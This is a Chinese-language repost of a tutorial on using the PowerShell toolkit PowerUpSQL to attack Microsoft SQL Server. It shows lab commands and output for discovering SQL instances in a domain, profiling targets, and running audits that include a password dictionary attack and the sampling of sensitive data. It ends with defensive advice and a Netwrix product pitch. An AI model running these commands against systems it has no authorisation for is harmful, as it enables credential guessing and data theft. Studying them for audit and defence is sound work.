当前位置:网站首页 > 更多 > 玩电脑 > 正文

[玩转系统] 使用 PowerUpSQL 进行 SQL 系统攻击

作者:精品下载站 日期:2024-12-14 06:05:36 浏览:14 分类:玩电脑

使用 PowerUpSQL 进行 SQL 系统攻击


如果您需要一个工具包来从头到尾拥有 Microsoft SQL Server,那么您需要的是 PowerUpSQL。 PowerUpSQL 在 PowerShell 中实现并且非常完整,拥有用于发现、破坏和拥有几乎任何 SQL 系统的工具。这是一个工具中的整个杀伤链。本文详细介绍了如何使用 PowerUpSQL 执行关键攻击步骤。

请注意,我们使用的系统(MS SQL 2012 的一个非常普通的版本)得到了非常复杂的结果。我们一定会强调我们的结果在有和没有系统管理员权限的情况下有所不同。如果您需要有关如何获取系统级管理员权限的提示,请参阅我们用于攻击核心 AD 基础设施的技术目录以及有关 AD 服务帐户攻击、利用错误配置权限的攻击以及我们的 Mimikatz 攻击系列文章。

发现

要查找域中的所有 SQL 服务器,您可以使用 Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose
VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...
VERBOSE: Parsing SQL Server instances from SPNs...
VERBOSE: 2 instances were found.
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com,1433
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com:1433
LastLogon        : 1/9/2018 7:10 AM
Description      :
ComputerName     : APP02.sbcloudlab.com
Instance         : APP02.sbcloudlab.com
DomainAccountSid : 150000052100028833955189196181169249219979400
DomainAccount    : APP02$
DomainAccountCn  : APP02
Service          : MSSQLSvc
Spn              : MSSQLSvc/APP02.sbcloudlab.com
LastLogon        : 1/9/2018 7:10 AM
Description      :

还有Get-SQLInstanceLocal,它将执行相同类型的发现,但仅在本地实例上。域版本的噪音更大,但如果您只有一个位置可以对网络进行攻击,它就会满足您的需要。如果您拥有更多的网络并且想要发出更少的信号,那么在每个系统上运行本地版本就可以了。在这种情况下,当我们作为普通用户或域管理员时,我们能够得到类似的结果。

目标选择

一旦您拥有了几个想要瞄准的 MS SQL 系统(或者您拥有了多个 MS SQL 系统,并且您正在尝试找出哪些系统是最佳目标),您可能希望了解有关每个系统的更多信息。 获取?SQLServerInfo 将为您提供有关潜在目标的有用信息的快照。请注意,我们似乎需要管理员权限才能获得良好的结果。

PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo
ComputerName           : APP02
Instance               : APP02
DomainName             : SBCLOUDLAB
ServiceProcessID       : 4980
ServiceName            : MSSQLSERVER
ServiceAccount         : NT ServiceMSSQLSERVER
AuthenticationMode     : Windows and SQL Server Authentication
Clustered              : No
SQLServerVersionNumber : 11.0.2100.60
SQLServerMajorVersion  : 2012
SQLServerEdition       : Standard Edition (64-bit)
SQLServerServicePack   : RTM
OSArchitecture         : X64
OsMachineType          : ServerNT
OSVersionName          : Windows Server 2012 R2 Standard
OsVersionNumber        : 6.2
Currentlogin           : SBCLOUDLABjonathan
IsSysadmin             : Yes
ActiveSessions         : 1

此示例展示了 PowerUpSQL 的最佳功能之一:对管道的支持。正如您所看到的,我们将 Get-SQLInstanceLocal 的结果通过管道传输到 Get-SQLServerInfo 中,因此只需一个命令,我们就可以获得该框中所有 SQL 实例的结果。更广泛地说,您可以使用此功能轻松构建快速运行复杂操作的破解脚本。

查找漏洞和敏感数据

利用从 Get-SQLServerInfo 中学到的知识,我们可以访问威胁和漏洞的标准库,并获取一些用于利用该系统的内容。但没有必要——PowerUpSQL 还有另一个强大的技巧。 Invoke-SQLAudit cmdlet 将会为您完成所有破解工作。它检查几乎所有闯入数据库、查找敏感信息并将其以可随身携带的形式渗透的标准方法。

当您调用它时,您将首先看到如下所示的大量结果:

PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: LOADING VULNERABILITY CHECKS.
VERBOSE: RUNNING VULNERABILITY CHECKS.
VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : No named instance found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com - Getting supplied login...
VERBOSE: APP02.sbcloudlab.com - Getting list of logins...
VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =
##MS_PolicyEventProcessingLogin##
VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =
##MS_PolicyTsqlExecutionLogin##
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.
VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.
VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining
VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE
VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...
VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...
<snip>

但这只是 Invoke-SQLAudit 的开始。在运行完所有权限级别检查后,它会一一检查特定的已知漏洞,并报告每个漏洞的发现情况:

ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database master was found configured with ownership chaining enabled.
Reference     : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Excessive Privilege - Database Ownership Chaining
Description   : Ownership chaining was found enabled at the server or database level.  Enabling ownership chaining can
lead to unauthorized access to database resources.
Remediation   : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'.  A query similar
to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining.  A query similar to 'ALTER
DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.
Severity      : Low
IsVulnerable  : Yes
IsExploitable : No
Exploited     : No
ExploitCmd    : There is not exploit available at this time.
Details       : The database tempdb was found configured with ownership chaining enabled.
Reference     : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l
ibrary/bb669059(v=vs.110).aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016

无论您的目标有多容易受到攻击,通读此 cmdlet 的结果就像 SQL Server 漏洞利用中的大师班一样。此外,随着新漏洞和漏洞的发现,作者还开放了该工具包以供扩展。因此,我们应该期望看到这个列表只会随着时间的推移而增长。

这还不是全部。一旦完成漏洞处理,它就会尝试查找您可能想要窃取的数据:

ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016
ComputerName  : APP02.sbcloudlab.com
Instance      : APP02.sbcloudlab.com
Vulnerability : Potentially Sensitive Columns Found
Description   : Columns were found in non default databases that may contain sensitive information.
Remediation   : Ensure that all passwords and senstive data are masked, hashed, or encrypted.
Severity      : Informational
IsVulnerable  : Yes
IsExploitable : Yes
Exploited     : Yes
ExploitCmd    : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit
Details       : Data sample from [REDACTED] : "[REDACTED]".
Reference     : https://msdn.microsoft.com/en-us/library/ms188348.aspx
Author        : Scott Sutherland (@_nullbind), NetSPwe 2016

这些结果(由于显而易见的原因略有编辑)只是我们目标中发现的数十个结果中的两个。作者们甚至在这样做的时候也在吃自己的狗粮。这些结果是使用“Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”cmdlet 找到的,如结果中所述。

权限提升

使用 PowerUpSQL 时令人失望的事情之一是非常强大的 Invoke-SQLEscalatePriv 从来没有为我们工作过。我们尝试了不同的用户、主机、执行类型(本地和远程)和各种权限,但它永远不会升级用户。原因似乎是 MS SQL 2012 企业版中的默认设置。以下是我们以非管理员用户身份运行时看到的内容:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s
bcloudlab.com"
PS C:PowerUpSQL-master>
When we run as admin, we get these correct but unexciting results:
PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"
VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...
VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. ?
PS C:PowerUpSQL-master> 

Reading online, this cmdlet seems this does work for many others.

其他功能

人们可以很容易地想象使用这个工具来了解要击中的内容,然后将其归零。我们将构建一个脚本,自由地利用管道来查找我们拥有最大权限的位置,然后移至每个上的敏感数据那些地点。

我们总是在考虑渗透问题,但也许您的目标是系统所有权? PowerUpSQL 也提供了实现这一点的路径,但我们将在下一篇文章中讨论如何做到这一点。事实上,PowerUpSQL 中有如此多的内容,我们可以继续研究更长时间。然而,作者已经很好地介绍了他们的工具,所以我们就到此为止。

防御 PowerUpSQL

现在让我们看看如何防御 PowerUpSQL。对于我们的乐趣来说,坏消息对于我们的数据来说是个好消息:PowerUpSQL 中的许多内容似乎需要管理员权限,都是由 SQL 2012 企业版的默认安全状态处理的。然而,现在大多数商店的管理员权限都很容易被破解,这似乎是成功的一个小障碍。

尽管如此,您仍然可以采取一些行之有效的步骤来帮助保护您的组织:

  • 对 SQL Server 实施最小权限模型。本地管理员和域管理员真的需要同时成为 SQL 数据库管理员和系统管理员吗?制定清晰的书面政策,详细说明需要这样做的原因和时间。保持这些管理职能的独特性将防止其中一项职能的妥协导致另一项职能的妥协。
  • 调查 SQL 系统设置的任何更改对安全的影响。应用程序供应商通常要求更改安全设置,只是为了让自己少走几步——而这些步骤可能会决定安全与妥协。找出答案的一种方法是在对测试系统进行此类更改之前和之后运行 PowerUpSQL 审核并比较结果。
  • 确保所有密码和敏感数据都经过屏蔽、散列或加密。如果坏人想要获取数据,这是阻止他们获取数据的最佳方法。系统总是可以被破解的,但对于除了最狡猾的敌人之外的所有人来说,良好的加密都是一堵砖墙。如果这种对手正在追寻您的数据,那么您就会有更高级别的担忧。
  • 尽可能避免有风险的配置,例如数据库所有权链。与设置更改一样,此类数据库级功能通常仅用于节省开发人员的时间。确保在考虑这些配置时至少考虑到风险。通常最具挑战性的部分是找出这些对话发生的地点和时间并对其产生影响。
  • 确保您的系统按照计划进行修补,以尽可能保持最新状态。这可能是安全领域最乏味的建议,但这是事实。这里测试的许多漏洞都可以通过适当的修补来解决。补丁并不能解决你所有的安全问题,但是当事情变得糟糕并且你知道这可能是(或绝对是)由于缺少补丁而导致的情况时,它们确实可以防止你胃里出现大坑。

Netwrix 如何提供帮助

数据库通常包含高度敏感的信息,这使它们成为攻击者的主要目标。为了获得强大的安全性,数据库管理员需要深入了解跨本地数据中心和云的整个 SQL 足迹。 Netwrix StealthAUDIT 自动揭示 SQL 数据库存在的位置、谁有权访问这些数据库、他们如何获得该访问权限、谁或什么在利用其访问权限、敏感信息驻留在哪里以及每个数据库的配置方式。

您需要 登录账户 后才能发表评论

取消回复欢迎 发表评论:

关灯